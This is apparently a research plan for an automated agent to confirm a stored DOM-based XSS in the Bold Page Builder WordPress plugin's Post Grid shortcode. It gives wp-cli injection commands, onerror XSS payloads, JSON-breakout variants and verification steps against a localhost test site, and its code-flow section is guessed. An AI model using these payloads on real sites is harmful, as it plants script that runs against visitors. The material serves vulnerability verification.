Bold Page Builder <= 5.5.3 - Authenticated (Author+) Stored DOM-based Cross-Site Scripting in Post Grid

This research plan is designed to guide an automated security agent in verifying CVE-2025-13463, a Stored DOM-based Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin.

---

1. Vulnerability Summary

The Bold Page Builder plugin (<= 5.5.3) fails to properly sanitize and escape input within the Post Grid component. While the plugin may implement some backend sanitization, certain shortcode attributes are reflected into the HTML (often via data- attributes) and subsequently processed by the plugin's frontend JavaScript in an unsafe manner (e.g., using .innerHTML or jQuery's .html()). This allows an authenticated user with Author privileges to inject arbitrary scripts that execute in the context of any user viewing the affected page.

2. Attack Vector Analysis

• Authentication Level: Author or higher (Users who can create/edit posts and use the Page Builder).
• Vulnerable Component: Post Grid (bt_bb_post_grid shortcode).
• Injection Point: Shortcode attributes such as category, el_id, el_class, or pagination settings.
• Mechanism: Stored XSS via post_content. The payload is saved in the database and rendered as part of the Post Grid's DOM configuration, which the frontend JS then executes.

3. Code Flow (Inferred)

1. Storage: An Author creates/updates a post. The request contains the post_content including the Bold Page Builder shortcode: [bt_bb_post_grid category="<img src=x onerror=alert(1)>" ... ].
2. Rendering: When a user visits the post, WordPress parses the shortcode. The plugin's shortcode handler (likely in bt_bb_post_grid.php) generates HTML.
3. Data Transfer: The handler typically outputs a div container with a data- attribute (e.g., data-bt-bb-settings) containing a JSON-encoded string of the shortcode attributes.
4. The Sink: The plugin's frontend JS (e.g., bold-builder/js/bt_bb_post_grid.js or bold-builder.js) reads this data- attribute. It parses the JSON and uses a vulnerable attribute to dynamically update the DOM using an unsafe method like:

   const settings = JSON.parse(element.getAttribute('data-bt-bb-settings'));
   jQuery('.some-selector').html(settings.vulnerable_attribute); // DOM Sink
   

4. Nonce Acquisition Strategy

Since the primary injection is via the standard WordPress post creation/update flow, an Author-level user can use the standard REST API or post.php endpoints.

However, Bold Page Builder often uses AJAX for its editor. To obtain the necessary nonces for the Page Builder's specific actions:

1. Step 1: Use wp-cli to create an Author user.
2. Step 2: Login as the Author and navigate to the "New Post" page.
3. Step 3: Bold Page Builder typically localizes its configuration. Use browser_eval to extract nonces from the window object:
   • Variable to check: window.bt_bb_settings or window.BoldBuilderVars.
   • Specific Key: window.bt_bb_settings?.nonce or similar.
4. Step 4: If injecting directly via wp post create (the most reliable method for a PoC), no nonce is required for the injection phase as we use the CLI to bypass the web UI.

5. Exploitation Strategy

Step 1: Payload Selection

We will target the category and el_id attributes of the bt_bb_post_grid shortcode, as these are common points for DOM reflection.

• Payload: "><img src=x onerror=alert(window.origin)>

Step 2: Injection via WP-CLI

The agent should create a post containing the malicious shortcode.

wp post create \
  --post_type=post \
  --post_title="XSS Test Post Grid" \
  --post_content='[bt_bb_post_grid category="all" el_id=\"post-grid-xss\"><img src=x onerror=alert(window.origin)>\"]' \
  --post_status=publish \
  --post_author=2

Step 3: Triggering the XSS

The agent will navigate to the newly created post's URL using the browser tool.

• URL: http://localhost:8080/?p=[POST_ID]

Step 4: Verification

The agent will use browser_eval to check if the alert was triggered or if the payload exists in a vulnerable DOM state.

• Check: document.body.innerHTML.includes('onerror=alert(window.origin)')

6. Test Data Setup

1. Plugin Installation: Ensure bold-page-builder (<= 5.5.3) is active.
2. User Creation:

   wp user create attacker author@example.com --role=author --user_pass=password123
   

3. Identify Shortcode: Confirm the Post Grid shortcode name. In Bold Page Builder, it is typically [bt_bb_post_grid].

7. Expected Results

• The shortcode attributes will be rendered into the page source inside a data- attribute or an ID attribute of a div.
• The Bold Page Builder JavaScript will parse this attribute.
• Because the value is not sanitized before being placed into a DOM-writing function, the <img> tag will be injected into the DOM.
• The browser will attempt to load the image with src=x, fail, and execute the onerror handler.

8. Verification Steps (Post-Exploit)

1. Verify DB Storage:

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post Grid'"
   

2. Verify Frontend Output:
   Use http_request to fetch the post and check if the payload is present in the raw HTML:

   # Look for the payload in the data-bt-bb-settings attribute
   grep "onerror=alert" 
   

9. Alternative Approaches

If the el_id attribute is correctly escaped, try other common bt_bb_post_grid attributes:

• category
• post_type
• el_class
• gap (if passed as a string to CSS injection)
• filter (if the grid supports filtering categories)

Payload Variant for data- attributes:
If the payload is inside a JSON string in a data- attribute, the injection might require breaking out of the JSON or the attribute quotes:

• category='{"id":"123\"}]><img src=x onerror=alert(1)>"}'
• Shortcode: [bt_bb_post_grid category="\"}]><img src=x onerror=alert(1)>"]